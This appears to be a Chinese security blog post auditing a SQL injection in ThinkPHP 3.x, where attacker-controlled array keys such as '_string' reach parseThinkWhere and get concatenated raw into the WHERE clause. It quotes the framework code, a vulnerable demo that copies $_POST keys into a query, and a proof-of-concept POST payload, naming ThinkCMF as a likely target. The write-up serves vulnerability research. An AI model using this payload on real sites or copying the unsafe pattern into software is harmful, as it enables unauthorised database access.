ThinkPHP3.x key可控注入漏洞

  • A+
所属分类:代码审计 安全文章

也不知道别人发过没,如有雷同纯属巧合

parseWhere:

  1. protected function parseWhere($where) {

  2. $whereStr = '';

  3. if(is_string($where)) {

  4. // 直接使用字符串条件

  5. $whereStr = $where;

  6. }else{ // 使用数组表达式

  7. $operate = isset($where['_logic'])?strtoupper($where['_logic']):'';

  8. if(in_array($operate,array('AND','OR','XOR'))){

  9. // 定义逻辑运算规则 例如 OR XOR AND NOT

  10. $operate = ' '.$operate.' ';

  11. unset($where['_logic']);

  12. }else{

  13. // 默认进行 AND 运算

  14. $operate = ' AND ';

  15. }

  16. foreach ($where as $key=>$val){

  17. if(is_numeric($key)){

  18. $key = '_complex';

  19. }

  20. if(0===strpos($key,'_')) {

  21. // 解析特殊条件表达式

  22. $whereStr .= $this->parseThinkWhere($key,$val);

  23. }else{

  24. $multi = is_array($val) && isset($val['_multi']);

  25. $key = trim($key);

  26. if(strpos($key,'|')) { // 支持 name|title|nickname 方式定义查询字段

  27. $array = explode('|',$key);

  28. $str = array();

  29. foreach ($array as $m=>$k){

  30. $v = $multi?$val[$m]:$val;

  31. $str[] = $this->parseWhereItem($this->parseKey($k),$v);

  32. }

  33. $whereStr .= '( '.implode(' OR ',$str).' )';

  34. }elseif(strpos($key,'&')){

  35. $array = explode('&',$key);

  36. $str = array();

  37. foreach ($array as $m=>$k){

  38. $v = $multi?$val[$m]:$val;

  39. $str[] = '('.$this->parseWhereItem($this->parseKey($k),$v).')';

  40. }

  41. $whereStr .= '( '.implode(' AND ',$str).' )';

  42. }else{

  43. $whereStr .= $this->parseWhereItem($this->parseKey($key),$val);

  44. }

  45. }

  46. $whereStr .= $operate;

  47. }

  48. $whereStr = substr($whereStr,0,-strlen($operate));

  49. }

  50. return empty($whereStr)?'':' WHERE '.$whereStr;

  51. }

仔细看下这段代码:

  1. if(0===strpos($key,'_')) {

  2. $whereStr .= $this->parseThinkWhere($key,$val);

  3. }

如果说我的key可控,那么就可以parseThinkWhere这个方法:

  1. protected function parseThinkWhere($key,$val) {

  2. $whereStr = '';

  3. switch($key) {

  4. case '_string':

  5. // 字符串模式查询条件

  6. $whereStr = $val;

  7. break;

  8. case '_complex':

  9. // 复合查询条件

  10. $whereStr = substr($this->parseWhere($val),6);

  11. break;

  12. case '_query':

  13. // 字符串模式查询条件

  14. parse_str($val,$where);

  15. if(isset($where['_logic'])) {

  16. $op = ' '.strtoupper($where['_logic']).' ';

  17. unset($where['_logic']);

  18. }else{

  19. $op = ' AND ';

  20. }

  21. $array = array();

  22. foreach ($where as $field=>$data)

  23. $array[] = $this->parseKey($field).' = '.$this->parseValue($data);

  24. $whereStr = implode($op,$array);

  25. break;

  26. }

  27. return '( '.$whereStr.' )';

  28. }

当$key等于_string的时候会将value拼接到whereStr中,此时会造成注入漏洞,当然case下面几个同理。

漏洞演示:

这个地方比较麻烦的在于key必须可控,这里就限制了很多,当然key可控的cms也很多,其中比较具有代表性的就算Thinkcmf了。

demo:

  1. $data=array();

  2. foreach($_POST as $key => $value){

  3. $data[$key]=$value;

  4. }

  5. $valu = $User->where($data)->select();

此时POST数据传入:

  1. _string=Id%3d1) and 1=1 -- -a

截图:

ThinkPHP3.x key可控注入漏洞


发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: